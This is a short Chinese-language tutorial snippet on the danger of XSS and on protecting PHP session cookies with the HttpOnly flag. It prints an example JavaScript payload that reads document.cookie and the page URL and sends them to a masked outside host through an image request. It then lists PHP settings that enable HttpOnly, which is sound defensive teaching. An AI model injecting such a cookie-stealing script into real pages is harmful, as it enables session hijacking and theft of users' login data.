xss的概念就不用多說了，它的危害是極大的，這就意味著一旦你的網站出現xss漏洞，就可以執行任意的js程式碼,最可怕的是攻擊者利用js獲取cookie或者session劫持，如果這裡麵包含了大量敏感資訊（身份資訊，管理員資訊）等，那完了。。。

如下js獲取cookie資訊：

    　url=document.top.location.href;
    　cookie=document.cookie;
    　c=new Image();
    　c.src=’http://www.******.com/c.php?c=’+cookie+’&u=’+url;

1. //在php.ini中，session.cookie_httponly = ture 來開啟全域性的Cookie的HttpOnly屬性
2. ini_set("session.cookie_httponly",1);
3. //或者setcookie()的第七個引數設定為true
4. session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

1. header("Set-Cookie: hidden=value; httpOnly");